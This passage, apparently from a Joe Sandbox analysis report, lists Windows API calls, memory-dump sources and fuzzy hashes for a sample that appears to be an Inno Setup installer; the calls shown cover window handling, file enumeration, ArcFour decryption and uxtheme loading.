                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E98E
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E996
                                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F3F,00000000,00452F60), ref: 0042E99C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$CloseControlCreateDeviceFileHandle
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1177325624-0
                                                                                                                                                                                                                                      • Opcode ID: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
                                                                                                                                                                                                                                      • Instruction ID: 661b18b1de4eb1238568a50ab540e77c3175952f9b14320adb6d96c9b056064d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 00c40fca2cfdd97ba02e44e9efda7f487b55ec81a2bcf6d63bb4130569f45397
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80F090B23A17207AF620B57A5C86F7F418CCB89B68F10423BBA04FF1D1D9A85D0555AD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 0048345E
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(00000000,000000F0), ref: 0048347C
                                                                                                                                                                                                                                      • ShowWindow.USER32(00000000,00000005,00000000,000000F0,0049C0A4,0048293A,0048296E,00000000,0048298E,?,?,?,0049C0A4), ref: 0048349E
                                                                                                                                                                                                                                      • ShowWindow.USER32(00000000,00000000,00000000,000000F0,0049C0A4,0048293A,0048296E,00000000,0048298E,?,?,?,0049C0A4), ref: 004834B2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$Show$IconicLong
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2754861897-0
                                                                                                                                                                                                                                      • Opcode ID: 7adc6d23a2e45bfcb47f86f15328f2256524f13007b9a6bd5233fe1c8f26e82e
                                                                                                                                                                                                                                      • Instruction ID: b2d3f2bb309dc3ccac68fe08692f7b65e7038161d92c55b9b58b225abec03440
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7adc6d23a2e45bfcb47f86f15328f2256524f13007b9a6bd5233fe1c8f26e82e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 750152706012409AE601BFE59D8AB5A26C55F10F49F18087BB9009F2A2DA2DDA858B1C
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,00462698), ref: 0046261C
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,00462678,?,00000000,?,00000000,00462698), ref: 00462658
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,0046267F,00462678,?,00000000,?,00000000,00462698), ref: 00462672
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$File$CloseFirstNext
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3541575487-0
                                                                                                                                                                                                                                      • Opcode ID: e94515bc2c8b3d54fda8ee7ea50903a5de584af26bf4ddc4af921dcd62f8e3d1
                                                                                                                                                                                                                                      • Instruction ID: 64bef34161faf0391a99b618d3e767a3fd2d5c762390acd0a64fbb4d401bfb5a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e94515bc2c8b3d54fda8ee7ea50903a5de584af26bf4ddc4af921dcd62f8e3d1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E921D831904B147ECB11EB65DC41ADEB7ACDB49304F5084F7F808E22A1E6B89E548F5A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 004241E4
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,?,?,0046CBC7), ref: 004241F1
                                                                                                                                                                                                                                        • Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667
                                                                                                                                                                                                                                        • Part of subcall function 00423B14: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,020B25AC,0042420A,?,?,?,0046CBC7), ref: 00423B4F
                                                                                                                                                                                                                                      • SetFocus.USER32(00000000,?,?,?,0046CBC7), ref: 0042421E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ActiveFocusIconicShow
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 649377781-0
                                                                                                                                                                                                                                      • Opcode ID: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
                                                                                                                                                                                                                                      • Instruction ID: c953833529836f01456b8f788e47b4b7c36f7a841d6c6df07f57e62630513da6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1be179083055f96161d8b165ddd04f1e3bd56871e014c6a07f585ac04199aa1a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8CF030B170012097CB10BFAAA8C5B9676A8AB48344F5500BBBD05DF357CA7CDC018778
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 00417D0F
                                                                                                                                                                                                                                      • SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D2D
                                                                                                                                                                                                                                      • GetWindowPlacement.USER32(?,0000002C), ref: 00417D63
                                                                                                                                                                                                                                      • SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D8A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$Placement$Iconic
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 568898626-0
                                                                                                                                                                                                                                      • Opcode ID: 76c66e33316401a89d3facc50d11a2b6f1ba08a7ab00baf439cd89f832e1e53a
                                                                                                                                                                                                                                      • Instruction ID: d9358ea7cd183770b33139a8ac7b7a0a70302bd2c01e5fc8313c3e2814ac7f2c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 76c66e33316401a89d3facc50d11a2b6f1ba08a7ab00baf439cd89f832e1e53a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 33012C71204108ABDB10EE59D8C1EF673A8AF45724F154566FD19DF242D639ED8087A8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CaptureIconic
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2277910766-0
                                                                                                                                                                                                                                      • Opcode ID: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
                                                                                                                                                                                                                                      • Instruction ID: 6cb7601519473143bf4e876ebf6758ccc8fc4fa751d6c6e0357a6193460a6b05
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c22591b8c3f2be6e3e416ff0957708157ed46c57fff49ed7de8fa542590db40d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0AF0A4723056425BD730AB2EC984AB762F69F84314B14403BE419CBFA1EB3CDCC08798
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • IsIconic.USER32(?), ref: 0042419B
                                                                                                                                                                                                                                        • Part of subcall function 00423A84: EnumWindows.USER32(00423A1C), ref: 00423AA8
                                                                                                                                                                                                                                        • Part of subcall function 00423A84: GetWindow.USER32(?,00000003), ref: 00423ABD
                                                                                                                                                                                                                                        • Part of subcall function 00423A84: GetWindowLongA.USER32(?,000000EC), ref: 00423ACC
                                                                                                                                                                                                                                        • Part of subcall function 00423A84: SetWindowPos.USER32(00000000,\AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241AB,?,?,00423D73), ref: 00423B02
                                                                                                                                                                                                                                      • SetActiveWindow.USER32(?,?,?,00423D73,00000000,0042415C), ref: 004241AF
                                                                                                                                                                                                                                        • Part of subcall function 0042364C: ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ActiveEnumIconicLongShowWindows
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2671590913-0
                                                                                                                                                                                                                                      • Opcode ID: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
                                                                                                                                                                                                                                      • Instruction ID: ce5d4440ec1c13bcfda566247f28ea27228b22b89c70f7a48f218b5e8bc86154
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b2ff140757208bd7b7cc33ac29151dbeb423d1cdddd3b288bc041a56f1810338
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 55E01AA070011087DB10AFAADCC8B9632A9BB48304F55017ABD49CF35BD63CC8608724
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,004127D5), ref: 004127C3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: NtdllProc_Window
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4255912815-0
                                                                                                                                                                                                                                      • Opcode ID: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
                                                                                                                                                                                                                                      • Instruction ID: 2c049f03cfb376e3baa0368465928f91904f6d03483072bf0e6cb5f6a46bccc5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 120c9c179850e2d77f2b5158c289480559fb4752f9becda92d3f5c4f199058c9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4A5102357082048FD710DB6ADA80A9BF3E5EF98314B2082BBD814C77A1D7B8AD91C75D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0047872E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: NtdllProc_Window
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4255912815-0
                                                                                                                                                                                                                                      • Opcode ID: 10ca812e3c548e1abffc20113ea3ec26250c704f28d0c7929afa756ed2071b4a
                                                                                                                                                                                                                                      • Instruction ID: 93be4e423146f0b72d2fb04b2818289b08cc6f156d75f667f85849a608f59376
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 10ca812e3c548e1abffc20113ea3ec26250c704f28d0c7929afa756ed2071b4a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81416979604104EFCB10CF99D6889AAB7F5FB48310B74C5AAE809EB701DB38EE41DB55
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045D097
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CryptFour
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2153018856-0
                                                                                                                                                                                                                                      • Opcode ID: 47a938482607ff708c7ba3b07c2d2a6c765e1a89700bf01dade5fb09ed1c08ae
                                                                                                                                                                                                                                      • Instruction ID: 2e238a974be0c8424367b3c35ccc205e7f0a308c5ec670be841bb4718b7179ff
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 47a938482607ff708c7ba3b07c2d2a6c765e1a89700bf01dade5fb09ed1c08ae
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 37C09BF200420CBF660057D5ECC9C77B75CF6586547508126F6048210195726C104574
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,0046D988,?,0046DB69), ref: 0045D0AA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CryptFour
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2153018856-0
                                                                                                                                                                                                                                      • Opcode ID: d02f27854c06b9b5253a86ca74e309db13f969305959900ff247638bb6719fe3
                                                                                                                                                                                                                                      • Instruction ID: 227689971defb3a768f182aa15824e3680876923b4d994b81e1676941902ce31
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d02f27854c06b9b5253a86ca74e309db13f969305959900ff247638bb6719fe3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9DA002B0A80300BAFD2057B05D4EF26352CA7D0F05F708465B202EA0D085A56410852C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2538174174.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2538123451.0000000010000000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2538220242.0000000010002000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_10000000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
                                                                                                                                                                                                                                      • Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2538174174.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2538123451.0000000010000000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2538220242.0000000010002000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_10000000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
                                                                                                                                                                                                                                      • Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0044B604: GetVersionExA.KERNEL32(00000094), ref: 0044B621
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498762), ref: 0044B67F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B7C9
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B7DB
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B7ED
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B7FF
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B811
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B823
